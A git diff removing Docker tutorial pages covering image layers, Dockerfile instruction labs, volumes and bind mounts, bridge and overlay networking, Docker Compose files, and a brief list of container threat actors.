-why layers ? - -to save on computational efforts when building images , and bandwidth (aka pulling and pushing ) them - -Build Container images - -```bash -FROM node:alpine -WORKDIR /app -COPY package*.json ./ -RUN npm install -COPY ./ ./ -CMD ["npm", "start"] - -``` - -This Dockerfile contains instructions needed to build a basic Node.js app image on Docker. When you run a `docker build` command, Docker starts executing these instructions one at a time, iteratively. - -![](./images/image-layer.png) - -Each time a command is executed from the Dockerfile, a new image layer is created on top of the existing image. This process is iterated until Docker reads the last command of the Dockerfile. Each instruction created a new image. - -![](./images/image-layer-execute.png) - - -# Composition of a Docker Image - -typically , an image can constitute the following - -- Base Image - - - all of the container iamges are created from the base image. this ia an emoty first layer that allows users to build their images form scratch - - - if you do not want to create your base image from scratch, you can use an official Docker image like Centos as your base image or customize one of the official Docker images to your requirements. -
- -- Parent Image - - - the parent images is most cases, the first Docker image layer. This is foundation of all other layers in your Docker. Thus, this layer provides the basic building blocks for container environments. -
- -- Layers - - - The other Docker layers are added to the base image using a code to allow them to run in a container. Docker’s default status displays all the top-layer images, including file sizes, tags, and repositories. Caching of intermediate layers makes it easier to view the top layers. Storage drives in Docker manage the contents in image layers. - -- Container layer - - - Besides creating a new container, a Docker image creates a container or writable layer. It hosts the changes that you make to your running container. This layer also stores the deleted and newly written files and changes made to the existing files. This layer is also useful when customizing containers. - -- Docker manifest - -The list of all image layers created by specific image names is known as a Docker manifest. These manifests are used the same way you would use an image name in the ```docker run``` and ```pull``` commands. - - -To build a Docker container image using a Dockerfile, follow these steps: - -- Create a new directory and navigate to it in your terminal. -- Inside the directory, create a file named ```Dockerfile``` (without any file extension). -- Inside the Dockerfile, specify the base image you want to build from using the "FROM" directive. For example: - -```bash -FROM alpine -``` - -- Add any additional instructions to the Dockerfile, such as installing packages, copying files, or setting environment variables. -- Save the Dockerfile. -- In your terminal, navigate to the directory containing the Dockerfile. -- Run the `docker build` command, followed by the desired name and tag for the image, and the path to the Dockerfile: - -```docker build -t my-image:latest .``` - -The Docker engine will now build the image based on the instructions in the Dockerfile. -Once the build is complete, you can verify that the image was created by running the "docker images" command: - -```bash -docker images -``` - -# Dockerfile instructions with example - -1.`FROM`: This instruction sets the base image for the Docker container. For example: - -```FROM ubuntu:latest``` - -2.`RUN`: This instruction runs a command in the container. For example: - -```RUN apt-get update``` - -3.`COPY`: This instruction copies files from the host machine to the container. For example: - -```COPY app/ /app``` - -4.`ADD`: This instruction is similar to COPY, but it can also handle URL sources and automatically decompress compressed files. For example: - -```ADD https://example.com/app.tar.gz /app``` - -5.`ENV`: This instruction sets environment variables in the container. For example: - -```ENV LANG=en_US.UTF-8``` - -6.`WORKDIR`: This instruction sets the working directory for the container. For example: - -```WORKDIR /app``` - -7.```EXPOSE```: This instruction exposes a port on the container to be accessed from the host machine. For example: - -```EXPOSE 8080``` - -8.```CMD```: This instruction sets the default command to be run when the container is started. For example: - -```CMD ["python", "app.py"]``` - -9.```ENTRYPOINT```: This instruction sets the default command to be run when the container is started, but it cannot be overridden by command-line arguments. For example: - -```ENTRYPOINT ["python", "app.py"]``` - - -# Lab 1 - - Begin by creating a new file called "Dockerfile" in your project directory. - In the Dockerfile, we will first specify the base image that we will be using. For this example, we will be using the latest version of Ubuntu as our base image. - -```bash -FROM ubuntu:latest -``` - - Next, we will run the necessary commands to install Git on the base image. - -```bash -RUN apt-get update -RUN apt-get install -y git - -``` -Once the installation is complete, we will set the default command to run when the container starts. In this case, we will set it to run the Git version command to confirm that Git is installed and functioning correctly. - -```bash -CMD ["git", "--version"] -``` - -Save the Dockerfile and close it. -To build the Docker image, we will use the "docker build" command and specify the path to the Dockerfile as an argument. - -```bash -docker build -t my_git_image . - -``` - -This will start a new container based on the "my_git_image" image and run the default command specified in the Dockerfile. The output should show the version of Git installed in the image. - -# Lab 2 - -In the Dockerfile, specify the base image you want to use. For example: - -```bash -FROM ubuntu:20.04 - -``` -Add the ADD instruction to your Dockerfile to copy files or directories from your local system into the image. For example: - -```bash -ADD my_file.txt /app/ -ADD my_directory /app/ - -``` - -Use the RUN instruction to execute any necessary commands or installs for your image. - -Use the CMD instruction to specify the command that will be run when a container is started from this image. - -Build the Docker image using the following command: - -```bash -docker build -t my_image_name . - -``` -Run the image using the following command: - -```bash -docker run -d my_image_name -``` - -# Lab 2 - -`Dockerfile`in your favorite text editor and add the following content to it: - -```bash -FROM ubuntu:18.04 -CMD ["echo", "Hello, World!"] -``` - -This `Dockerfile` specifies that we want to use the `ubuntu:18.04` base image and run the echo command with the arguments`"Hello, World!"` when the container is started. - -```bash -docker build -t myimage . -docker run myimage -``` - -# Lab 3 - -In the Dockerfile, specify the base image that your image will be built on. For this example, we will use the alpine base image, which is a lightweight version of Linux: - -```bash -FROM alpine - -``` - -Next, add the COPY instruction to copy a file or directory from your local machine into the image. For example, if you want to copy the file `hello.txt` from your current directory into the image, you would use the following instruction: - -```bash -COPY hello.txt / - -``` - -ou can also specify a different destination for the file. For example, if you want to copy hello.txt into the /app directory inside the image, you would use the following instruction: - -```bash -COPY hello.txt /app/ - -``` - -Now that you have specified the base image and the files to be copied, you can build your Docker image. Run the following command to build the image, replacing my-image with the desired name for your image: - -```bash - -docker build -t my-image . - -``` - -To verify that the image was built successfully and that the file was copied into the image, you can run the following command to view the list of available Docker images: - -```bash -docker images - -``` - -You should see your new image listed in the output. To run the image, use the docker run command, followed by the name of the image: - -```bash -docker run my-image - -``` - -# Lab 4 - -here is an example of creating a Python app with an Entrypoint instruction: - -First, create a new directory for your app and navigate to it in the command line. -Create a file called `app.py` and add the following code: - -```python -def main(): - print("Hello, world!") - -if __name__ == "__main__": - main() - -``` -Next, create a file called `Dockerfile` and add the following code: - -```bash -FROM python:3.8-slim - -COPY app.py /app/app.py - -ENTRYPOINT ["python", "/app/app.py"] - - -``` - -Build the Docker image by running the following command: - -```bash -docker build -t my-app . -``` - -Run the Docker image by using the following command: - -```bash -docker run my-app - -``` - -# Lab 5 - -```bash -FROM nginx:alpine -WORKDIR /var/www/html -COPY . . -EXPOSE 80 -CMD ["nginx", "-g", "daemon off;"] - -``` - -This Dockerfile will use the nginx:alpine image as a base, set the working directory to /var/www/html, copy all the files in the current directory (.) to the working directory, expose port 80, and start the nginx daemon. - -Now let's create a sample HTML file called`index.html`: - -```html - - - Nginx Workdir Example - - -

Welcome to the Nginx Workdir Example

- - - - -``` -Now we can build and run the Docker container using the following commands: - -```bash -docker build -t nginx-workdir . -docker run -p 8080:80 nginx-workdir - - -``` -This will build the Docker image with the tag nginx-workdir and run the container, mapping port 8080 on the host machine to port 80 in the container. - -To verify that everything is working, open your web browser and navigate to `http://localhost:8080`. You should see the content of the index.html file displayed. - -That's it! You have successfully created a Docker container using the `WORKDIR` instruction to set the working directory for the nginx daemon. - -# Lab 6 - -- Pull the Nginx image from Docker Hub: - -```bash -docker pull nginx - -``` - -- Create a directory on your local machine that you want to use as the volume for Nginx: - -```bash -mkdir /path/to/volume -``` - -- Run the Nginx container and mount the volume using the -v flag: - -```bash -docker run -d -p 80:80 -v /path/to/volume:/usr/share/nginx/html:ro nginx -``` -- Test that the volume is working by creating a file in the volume directory on your local machine: - -```echo "Hello, World!" > /path/to/volume/index.html``` - -5. Visit http://localhost in your web browser to see the contents of the volume displayed in the Nginx container. - -Note: The -d flag runs the container in detached mode, the -p flag maps port 80 on the host to port 80 in the container, and the :ro flag makes the volume read-only inside the container. - -## Storing data in a container - -- Storing data in a container(mounts, volumes, etc.)
-- Networking in containers
- -## Storing data in a docker container - -There are several options for storing data in a docker container: - -- Use a volume: Docker volumes allow you to persist data outside of the container, so it can be shared between multiple containers or saved even if the container is stopped or removed. You can create a volume using the "docker volume create" command and then mount it to a specific directory in your container using the "-v" flag in the "docker run" command. - -- Create a volume using the docker volume create command: - -```bash -$ docker volume create data-volume - -``` - -- Run a docker container and mount the volume using the -v flag: - -```bash -$ docker run -d --name my-container -v data-volume:/data ubuntu:latest - -``` - -- Check if the volume is mounted to the container by using the docker inspect command: - -```bash -$ docker inspect my-container | grep Mounts - -``` - -You should see output similar to this: - -```bash -"Mounts": [ - { - "Type": "volume", - "Name": "data-volume", - "Source": "/var/lib/docker/volumes/data-volume/_data", - "Destination": "/data", - "Driver": "local", - "Mode": "", - "RW": true, - "Propagation": "" - } - ], - -``` - -Now, any data that you write to the /data directory inside the container will be persisted in the volume. - -For example, you can create a file in the /data directory: - -```bash -$ docker exec -it my-container touch /data/test.txt - - -``` - -To verify that the data has been persisted, you can run another container and mount the same volume: - -```bash -$ docker run -it --name my-container-2 -v data-volume:/data ubuntu:latest bash - -``` - -Inside the new container, you should be able to see the test.txt file: - -```bash -$ ls /data -test.txt - -``` -This demonstrates how you can use a volume to store data in a docker container. The data will persist even if the container is stopped or deleted, as it is stored in the volume, which is managed by Docker. - -Use a bind mount: - -A bind mount is a file or directory on the host machine that is mounted into a container. This allows you to access data on the host machine from within the container. You can create a bind mount using the `-v` flag in the "docker run" command, specifying the path to the file or directory on the host as well as the desired mount point in the container. - -Create a directory on the host machine that you want to use as the bind mount. For example: - -```bash -mkdir /data - -``` -Run the docker container, using the -v flag to specify the bind mount. The syntax is `-v host_directory:container_directory`. For example: - -```bash -docker run -d -p 8080:80 -v /data:/var/www/html my_web_server - -``` -This will mount the /data directory on the host machine to the /var/www/html directory in the container, which is typically the root directory for web server content. - -- You can now add or modify files in the /data directory on the host machine and they will be automatically reflected in the container's /var/www/html directory. -- To verify that the bind mount is working, you can create a test file in the /data directory on the host machine: - - -```bash -echo "This is a test file" > /data/test.txt -``` -Then, open a shell in the container and check if the file exists in the `/var/www/html` directory: - -```bash -docker exec -it my_web_server /bin/bash -ls /var/www/html - -``` -You should see the test.txt file listed in the output. - -Use a data container: A data container is a container specifically designed to store data that can be shared between multiple containers. You can create a data container using the `docker create` command, and then mount the data container's volume to a specific directory in other containers using the "-v" flag in the "docker run" command. - -Create a new data container using the docker create command. For example: - -```bash -docker create -v /data --name data-container busybox /bin/true - -``` -This creates a data container with a volume at /data and a name of data-container. - -Start the data container using the docker start command. For example: - -```bash - -docker run -it --volumes-from data-container --name app-container ubuntu bash - -``` -This creates a new container named app-container that will use the volume from the data container. - -- In the app-container, you can now access the data stored in the data-container. For example: - -```bash -root@7bd72f1f0f77:/# ls /data - -``` -This will show the contents of the /data volume in the data-container. - -To stop the data container, use the docker stop command. For example: - -```bash -docker stop data-container - -``` -This will stop the data container, but the data will still be available in the app-container. - -To delete the data container, use the docker rm command. For example: - -```bash -docker rm data-container - -``` - -This will delete the data container, but the data will still be available in the app-container. - -4. Use a host path: You can also store data directly on the host machine and access it from within the container using the "-v" flag in the "docker run" command, specifying the path on the host machine as the mount point in the container. However, this option is not recommended as it can lead to issues with container portability and separation of concerns. - -To use a host path to store data in Docker, you will need to use the "-v" flag in the "docker run" command to specify the host path and the container path for the data volume. Here is an example using a MongoDB container: - -First, create a directory on your host machine to store the data: - -```bash -mkdir -p /data/mongodb -``` - -Run the MongoDB container, using the "-v" flag to mount the host path as a data volume in the container: - -```bash -docker run -d --name mongodb -v /data/mongodb:/data/db mongo:latest -``` -You can verify that the data volume is being used by the container by checking the output of the "docker inspect" command: - -```bash -docker inspect mongodb | grep -i "Mounts" -``` - -This should return a list of all the mounted data volumes, including the host path that you specified in the "docker run" command. - -Note: Make sure that the host path that you specify in the "-v" flag exists and is readable/writable by the container. Otherwise, the container may not start or may have issues accessing the data volume. - -# Networking in containers - -There are two types of networking in Docker: - -- Bridge networking: This is the default networking mode in Docker. It creates a virtual network between containers on the same host. Each container is given its own IP address within this network, and containers can communicate with each other using this network. - -First, create a Dockerfile that will build our container: - -```bash - FROM alpine - CMD ["echo", "Hello World!"] - -``` - -Build the image using the following command: - -```bash -docker build -t hello-world . -docker run -it hello-world -``` - -Inspect the container's networking configuration using the following command: - -```bash -"NetworkSettings": { - "Bridge": "", - "SandboxID": "4f3c70f4f74b1dc5d5e5e3f5e5ed72c5e5e1f2613e1644b2aa5b004f2ab2d9e8", - "HairpinMode": false, - "LinkLocalIPv6Address": "", - "LinkLocalIPv6PrefixLen": 0, - "Ports": {}, - "SandboxKey": "/var/run/docker/netns/4f3c70f4f74b", - "SecondaryIPAddresses": null, - "SecondaryIPv6Addresses": null, - "EndpointID": "f48c68e9ce012791d63f0b3ee3b3a85d6c7f6ed5b6c4b6e5b6d5b6c2e5e5f6d4", - "Gateway": "172.17.0.1", - "GlobalIPv6Address": "", - "GlobalIPv6PrefixLen": 0, - "IPAddress": "172.17.0.2", - "IPPrefixLen": 16, - "IPv6Gateway": "", - "MacAddress": "02:42:ac:11:00:02", - "Networks": { - "bridge": { - "IPAMConfig": null, - "Links": null, - "Aliases": null, - "NetworkID": "5e5f5c5d5e5d5e5f5d5f5c5e5d5e5d5d5e5f5d5e5f5c5d5e5d5e5f5c5e5f5d5e", - "EndpointID": "f48c68e9ce012791d63f0b3ee3b3a85d6c7f6ed5b6c4b6e5b6d5b6c2e5e5f6d4", - "Gateway": "172.17.0.1", - "IPAddress": "172.17.0.2", - "IPPrefixLen": 16, - "IPv6Gate - - -``` - -- Overlay networking: This type of networking allows you to connect multiple Docker hosts into a single virtual network. This is useful for situations where you have multiple hosts running Docker containers, and you want them to be able to communicate with each other. - -Overlay networking in Docker allows containers to communicate with each other across multiple hosts. This is useful for situations where you have multiple Docker hosts running and you want to create a network that spans across those hosts. - -To demonstrate overlay networking, we will create two Docker hosts and a single network that will be shared between them. We will then create two containers, one on each host, and demonstrate that they can communicate with each other through the overlay network. - -First, we will create two Docker hosts using Docker Machine. For this example, we will use two virtual machines running on VirtualBox. - -```bash -docker-machine create --driver virtualbox host1 -docker-machine create --driver virtualbox host2 - -``` - -Next, we will create an overlay network on one of the hosts. We will name this network "mynetwork" and specify the `--attachable` flag so that other containers can attach to it - -```bash -eval $(docker-machine env host1) -docker network create --driver overlay --attachable mynetwork - -``` - -Now that the network has been created, we can deploy containers on both hosts and attach them to the network. - -On host1: - -```bash - -eval $(docker-machine env host1) -docker run -d --name container1 --network mynetwork busybox - -``` - -On host2: - -```bash -eval $(docker-machine env host2) -docker run -d --name container2 --network mynetwork busybox - - -``` -Now that both containers are attached to the same overlay network, we can verify that they can communicate with each other. - -On host1: - -```bash -eval $(docker-machine env host1) -docker exec -it container1 ping -c 3 container2 - -``` - -On host2: - -```bash -eval $(docker-machine env host2) -docker exec -it container2 ping -c 3 container1 - -``` - -If the ping commands are successful, it means that the containers are able to communicate with each other through the overlay network. - -This is just a simple example of how overlay networking can be used in Docker. There are many other uses and configurations that can be explored. - -# Docker Compose - -Docker Compose is a tool for defining and running multi-container Docker applications. With Compose, you use a YAML file to configure your application's services. Then, with a single command, you create and start all the services from your configuration. - -To install Docker Compose, follow the instructions for your operating system: - -```bash -# For macOS or Linux: -sudo curl -L "https://github.com/docker/compose/releases/download/1.28.5/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose -sudo chmod +x /usr/local/bin/docker-compose - -# For Windows: -Download the Docker Compose binary from https://github.com/docker/compose/releases/download/1.28.5/docker-compose-Windows-x86_64.exe and save it to a location on your PATH (e.g., C:\Program Files\Docker). - - -``` -Once Docker Compose is installed, you can use it to create and start your multi-container Docker application by using the docker-compose up command. For example, suppose you have a YAML file called docker-compose.yml that defines your application's services like this: - -```yaml -version: '3' -services: - web: - build: . - ports: - - "5000:5000" - volumes: - - .:/app - redis: - image: "redis:alpine" - -``` - -You can start all of these services with the following command: - -```bash -docker-compose up - -``` -This command will build the web service image, create and start the web and redis containers, and attach the terminal to the logs of the running containers. - -# Docker Compose Build - -```plaintext -docker-compose build -``` - -### Redeploy just one Service - -```plaintext -docker-compose up $SERVICE_NAME -``` - -### start all services / container using docker compose - -```plaintext -docker-compose up - -// Specify a custom filepath for your -//docker-compose file -// (it assumes docker-compose.yml in -//your current directory by default) -ocker-compose -f custom-docker-compose.yml up - -// Apply multiple compose files (changes in latter) - -docker-compose -f docker-compose.yml docker-compose-production.yml -``` - -# sample docker-compose file - -``` - -#docker-compose.yml file -version: '3' -services: - # Your web application => Container - web: - build: . - ports: - - "5000:5000" - - # Redis cache container - redis: - image: "redis:alpine" - - -``` - -``` - -version: "3" - -networks: - backend: - driver: bridge - -services: - app: - build: - context: . - dockerfile: Dockerfile - container_name: app - image: ${REGISTRY}/my-project-name - restart: always - ports: - - "80:80" - - "443:443" - depends_on: - - db - networks: - - backend - env_file: - - ./.env - - db: - image: mariadb:10.5 - container_name: db - restart: always - networks: - backend - volumes: - - mysql-data:/var/lib/mysql - environment: - - FOO=bar - - SOME_ENV_VAR=${SUBSTITUTED_VARIABLE} - env_file: - - ./.env - -volumes: - mysql-data: - driver: local - - -``` - -labels - -``` -services: - web: - labels: - com.app.description: "My web app" - - -``` - - -[Docker CheatSheet](https://blog.cloudnativefolks.org/the-ultimate-docker-cheatsheet-for-everyone#heading-docker-compose) \ No newline at end of file diff --git a/content/en/containersecurity/b9.attack-surface.md b/content/en/containersecurity/b9.attack-surface.md deleted file mode 100644 index 2853cb4..0000000 --- a/content/en/containersecurity/b9.attack-surface.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: "Attack surface of the container ecosystem " -slug: "Attack-surface-of-the-container-ecosystem" ---- - -## Container Technology Archiecture - -1. Developer systems (generate images and send them to testing and accreditation) -2. Testing and accreditation systems (validate and verify the contents of images, sign -images, and send images to the registry) -3. Registries (store images and distribute images to the orchestrator upon request) -4. Orchestrators (convert images into containers and deploy containers to hosts) -5. Hosts (run and stop containers as directed by the orchestrator) - - -![](./images/container-technology-arch.png) - - -## Attack surface of the container ecosystem - -![](./images/Container-Threat-model.png) - - - -One way to start thinking about the threat model is to consider the actors involved. These might include: - -1. External attackers attempting to access a deployment from outside -2. Internal attackers who have managed to access some part of the deployment -3. Malicious internal actors such as developers and administrators who have some level of privilege to access the deployment -3. Inadvertent internal actors who may accidentally cause problems -4. Application processes that, while not sentient beings intending to compromise -your system, might have programmatic access to the system \ No newline at end of file diff --git a/content/en/docker/_overview.md b/content/en/docker/_overview.md deleted file mode 100644 index b3eda9a..0000000 --- a/content/en/docker/_overview.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Overview -url: "docker/overview" -aliases: -- "/docker" ---- - - -### Table of Content -| Title | Link | -| --------- | ------- | -|1.Pre-requisit for this lab | [Lab](https://kubedaily.com/docker/pre-requisit-for-this-lab/) | -|2.Docker Hello World Example | [Lab](https://kubedaily.com/docker/docker-hello-world-example/) | -|3.Docker Image Filtering | | [Lab](https://kubedaily.com/docker/docker-image-filtering/) | -|4.Images and Container As Tar file | [Lab](https://kubedaily.com/docker/images-and-container-as-tar-file/) | -|5.Push first Nginx Web app To DockerHub | [Lab](https://kubedaily.com/docker/push-first-nginx-web-app-to-dockerhub/) | -|6.Build a Base Image from Scratch | [Lab](https://kubedaily.com/docker/build-a-base-image-from-scratch/) | -|7.Dockerfile Lab - ADD instruction | [Lab](https://kubedaily.com/docker/dockerfile-lab-add-instruction/) | -|8.Dockerfile Lab - COPY instruction | [Lab](https://kubedaily.com/docs/copy-instruction/) | -|9.Dockerfile Lab - CMD instruction | [Lab](https://kubedaily.com/docs/cmd-instruction/) | -|10.Dockerfile Lab - Entrypoint instruction | [Lab](https://kubedaily.com/docs/entrypoint-instruction/) | -|11.Dockerfile Lab - WORKDIR instruction | [Lab](https://kubedaily.com/docs/workdir-instruction/) | -|12.Dockerfile Lab - RUN instruction | [Lab](https://kubedaily.com/docs/run-instruction/) | -|13.Dockerfile Lab - ARG instruction | [Lab](https://kubedaily.com/docs/arg-instruction/) | -|14.Dockerfile Lab - Volume instruction | [Lab](https://kubedaily.com/docs/arg-instruction/) | -|15.Dockerfile Lab - USER instruction | [Lab](https://kubedaily.com/docs/user-instruction/) | -|16.Dockerfile Lab - HEALTHCHECK instruction | [Lab](https://kubedaily.com/docs/healthcheck-instruction/) | -|17.Dockerfile Lab - ENV instruction | [Lab](https://kubedaily.com/docs/env-instruction/) | -|18.Dockerfile Lab - ONBUILD instruction | [Lab](https://kubedaily.com/docs/onbuild-instruction/)| -|19.Running multiple docker containers from CLI | [Lab](https://kubedaily.com/docs/multiple-container/) | -|20.Write First Docker Compose file | [Lab](https://kubedaily.com/docs/write-first-docker_compose/) | -|21.Docker Compose with Volume Mount | [Lab](https://kubedaily.com/docs/docker-compose-volumes/) | -|22.Build Own Dockerfile and Docker Compose with Custom configuration| [Lab](https://kubedaily.com/docs/custom-docker-compose/) | -|23.Simple php apache and database using docker compose| [Lab](https://kubedaily.com/docs/php-database-docker-compose/) | -|24.Host Volume Mount - Data persistentence| [Lab](https://kubedaily.com/docs/host-volume-mount/) | -|25.Named Volume Mount - Data persistentence| [Lab](https://kubedaily.com/docs/name-volume-mount/) | -|26.Docker Compose CLI - Build Command| [Lab](https://kubedaily.com/docs/docker-compose-build/) | -|27.Docker Compose CLI - Config Command| [Lab](https://kubedaily.com/docs/docker-compose-config/) | -|28.Docker Compose CLI - CP Command| [Lab](https://kubedaily.com/docs/docker-compose-cp/) | -|29.Docker Compose CLI - Create Command| [Lab](https://kubedaily.com/docs/docker-compose-create/) | -|30.Docker Compose CLI - Down Command| [Lab](https://kubedaily.com/docs/docker-compose-down/) | -|31.Docker Compose CLI - Events Command| [Lab](https://kubedaily.com/docs/docker-compose-events/) | -|32.Docker Compose CLI - Exec Command| [Lab](https://kubedaily.com/docs/docker-compose-exec/) | -|33.Docker Compose CLI - Images Command| [Lab](https://kubedaily.com/docs/docker-compose-images/) | -|34.Docker Compose CLI - Kill Command| [Lab](https://kubedaily.com/docs/docker-compose-kill/) | -|35.Docker Compose CLI - logs Command| [Lab](https://kubedaily.com/docs/docker-compose-logs/) | -|36.Docker Compose CLI - ls Command| [Lab](https://kubedaily.com/docs/docker-compose-ls/) | -|37.Docker Compose CLI - Pause/unpause Command| [Lab](https://kubedaily.com/docs/docker-compose-pause/) | -|38.Docker Compose CLI - Port Command| [Lab](https://kubedaily.com/docs/docker-compose-port/) | -|39.Docker Compose CLI - ps Command| [Lab](https://kubedaily.com/docs/docker-compose-port/) | -|40.Docker Compose CLI - pull Command| [Lab](https://kubedaily.com/docs/docker-compose-pull/) | -|41.Docker Compose CLI - push Command| [Lab](https://kubedaily.com/docs/docker-compose-push/) | -|42.Docker Compose CLI - restart Command| [Lab](https://kubedaily.com/docs/docker-compose-restart/)| -|43.Docker Compose CLI - rm Command| [Lab](https://kubedaily.com/docs/docker-compose-rm/) | -|44.Docker Compose CLI - run Command| [Lab](https://kubedaily.com/docs/docker-compose-run/) | -|45.Setup local network| [Lab](https://kubedaily.com/docs/local-network/) | -|46.Setup Remote network| [Lab](https://kubedaily.com/docs/remote-network/) | -|48.Newtorking in Docker Compose| [Lab](https://kubedaily.com/docs/docker-compose-net/) | -|49.Newtorking in Docker Compose with ngnix| [Lab](https://kubedaily.com/docs/docker-compose-ngnix-net/) | -|50.Docker Wordpress Example| [Lab](https://kubedaily.com/docs/docker-wordpress/) | - -Todo List - -51. -52. -53. - - - - - -What next -- [Container Security Track](https://kubedaily.com/docs/0.0.1/container-security/) -- [Kubernetes Workshop Track](https://kubedaily.com/docs/0.0.1/k8s/) diff --git a/content/en/docker/a1.pre-requist.md b/content/en/docker/a1.pre-requist.md deleted file mode 100644 index 4a329ac..0000000 --- a/content/en/docker/a1.pre-requist.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: "Pre-requisit for this lab" -slug: Pre-requisit-for-this-lab ---- - - - -> Here are the steps to create a Docker Hub account: - -1. Go to https://hub.docker.com/signup and click on the "Sign Up" button. -
-2. Fill out the registration form with your name, email address, and password. -
-3. Agree to the terms of service and privacy policy by checking the box. -
-4. Click on the "Sign Up" button to complete the registration process. -
-5. You will receive a verification email from Docker Hub. Follow the link in the email to verify your email address. -
- -6. Once your email address is verified, you can log in to Docker Hub using your email address and password. -
- -You can now create and manage your repositories, and upload your Docker images to share with the community. -That's it! You now have a Docker Hub account and you can start using it to store, share, and distribute your Docker images. \ No newline at end of file diff --git a/content/en/docker/a10.Entrypoint-instruction.md b/content/en/docker/a10.Entrypoint-instruction.md deleted file mode 100644 index 6de2869..0000000 --- a/content/en/docker/a10.Entrypoint-instruction.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: "Dockerfile Lab - Entrypoint instruction " -description: "Dockerfile Lab 4 " -slug: "Dockerfile-Lab-Entrypoint-instruction" ---- - -#### Running a Docker Container with ENTRYPOINT - -Let's learn the details in this case by actually executing ENTRYPOINT in exec form. The following is an example of a Dockerfile that uses the exec form of ENTRYPOINT, which outputs a character string on the command line. - -```dockerfile -FROM alpine -ENTRYPOINT ["echo", "Hello!"] - -``` - -#### Build dockerfile - -```sh -➜ Dockerfile git:(main) ✗ docker build -t sangam14/entrypoint-dockerfile -f dockerfile.entrypoint . -[+] Building 3.2s (6/6) FINISHED - => [internal] load build definition from dockerfile.entrypoint 0.0s - => => transferring dockerfile: 94B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/alpine:latest 3.1s - => [auth] library/alpine:pull token for registry-1.docker.io 0.0s - => [1/1] FROM docker.io/library/alpine@sha256:69665d02cb32192e52e07644d76bc6f25abeb5410edc1c7a81a10ba3f0efb90a 0.0s - => => resolve docker.io/library/alpine@sha256:69665d02cb32192e52e07644d76bc6f25abeb5410edc1c7a81a10ba3f0efb90a 0.0s - => => sha256:69665d02cb32192e52e07644d76bc6f25abeb5410edc1c7a81a10ba3f0efb90a 1.64kB / 1.64kB 0.0s - => => sha256:c41ab5c992deb4fe7e5da09f67a8804a46bd0592bfdf0b1847dde0e0889d2bff 528B / 528B 0.0s - => => sha256:d74e625d91152966d38fe8a62c60daadb96d4b94c1a366de01fab5f334806239 1.49kB / 1.49kB 0.0s - => exporting to image 0.0s - => => exporting layers 0.0s - => => writing image sha256:0d5a798a648339f8ea8094b10568eb2dc44540480deff55f680dfd689f787013 0.0s - => => naming to docker.io/sangam14/entrypoint-dockerfile 0.0s - ``` - -#### run docker container - -```sh - Dockerfile git:(main) ✗ docker run sangam14/entrypoint-dockerfile -Hello! -➜ Dockerfile git:(main) ✗ docker run sangam14/entrypoint-dockerfile echo "sangam" -Hello! echo sangam -➜ Dockerfile git:(main) ✗ - -``` - -#### Overwrite with `--entrypoint` option - -On the other hand, in ENTRYPOINT, you can change the instruction by using the option of `—entrypoint` as follows. - -```sh -docker run --rm --entrypoint sh sangam14/entrypoint-dockerfile -c 'echo "test"' -test - -``` - -CMD and ENTRYPOINT have similar roles and are confusing, but they have different functions. CMD, ENTRYPOINT, and ENTRYPOINT also behave differently between shell form and exec form, so it's a good idea to use each function properly. The instructions in the Dockerfile are a bit complicated, but you can use them effectively if you understand them. - - diff --git a/content/en/docker/a11.WORKDIR-instruction.md b/content/en/docker/a11.WORKDIR-instruction.md deleted file mode 100644 index 80f3131..0000000 --- a/content/en/docker/a11.WORKDIR-instruction.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: "Dockerfile Lab - WORKDIR instruction " -description: " Dockerfile Lab 5 " -slug: "Dockerfile-Lab-WORKDIR-instruction" ---- - -The WORKDIR command is used to define the working directory of a Docker container at any given time. The command is specified in the Dockerfile. - -Any RUN, CMD, ADD, COPY, or ENTRYPOINT command will be executed in the specified working directory. - -# WORKDIR instruction Dockerfile for Docker Quick Start - -```Dockerfile -FROM ubuntu -WORKDIR /var/www/html -RUN apt-get update && apt-get install -y nginx -COPY index.html . -ENTRYPOINT ["nginx", "-g", "daemon off;"] -``` -#### build dockerfile - -```sh -docker build -t sangam14/workdir-dockerfile -f dockerfile.workdir . - -``` -#### run docker container - -```sh -docker run -p 80:80 sangam14/workdir-dockerfile - -``` -output - -![](./images/ngnix.png) diff --git a/content/en/docker/a12.RUN-instruction.md b/content/en/docker/a12.RUN-instruction.md deleted file mode 100644 index 1224b81..0000000 --- a/content/en/docker/a12.RUN-instruction.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: "Dockerfile Lab - RUN instruction " -slug: "Dockerfile-Lab-RUN-instruction" ---- - -The RUN command is the central executing directive for Dockerfiles. It takes a command as its argument and runs it to form the image. Unlike CMD, it actually is used to build the image (forming another layer on top of the previous one which is committed). - - -#### create dockerfile with following content - -```dockerfile -FROM ubuntu -RUN id -RUN useradd --create-home -m -s /bin/bash dev -# Add a fun prompt for dev user of my-app -# whale: "\xF0\x9F\x90\xB3" -# alien:"\xF0\x9F\x91\xBD" -# fish:"\xF0\x9F\x90\xA0" -# elephant:"\xF0\x9F\x91\xBD" -# moneybag:"\xF0\x9F\x92\xB0" -RUN echo 'PS1="\[$(tput bold)$(tput setaf 4)\]my-app $(echo -e "\xF0\x9F\x90\xB3") \[$(tput sgr0)\] [\\u@\\h]:\\W \\$ "' >> /home/dev/.bashrc && \ - echo 'alias ls="ls --color=auto"' >> /home/dev/.bashrc - -RUN mkdir /myvol -RUN echo "hello DQS Guide" > /myvol/greeting -RUN ["chmod", "664", "/myvol/greeting"] -RUN ["chown", "dev:dev", "/myvol/greeting"] -VOLUME /myvol - -USER dev -RUN id - -CMD ["/bin/bash"] - -``` - -### build docker container - -```bash - ➜ docker build -t sangam14/run-dockerfile -f dockerfile.run . -``` - - -#### run docer container - -```sh -➜ Dockerfile git:(main) ✗ docker run -it sangam14/run-dockerfile -``` -#### added user as my-app with whale emoji - -```sh -my-app 🐳 [dev@0270ab5e6f0c]:/ $ ls -bin boot dev etc home lib media mnt myvol opt proc root run sbin srv sys tmp usr var -my-app 🐳 [dev@0270ab5e6f0c]:/ $ cat myvol/greeting -hello DQS Guide - -``` - diff --git a/content/en/docker/a13.ARG-instruction.md b/content/en/docker/a13.ARG-instruction.md deleted file mode 100644 index 0fdaa93..0000000 --- 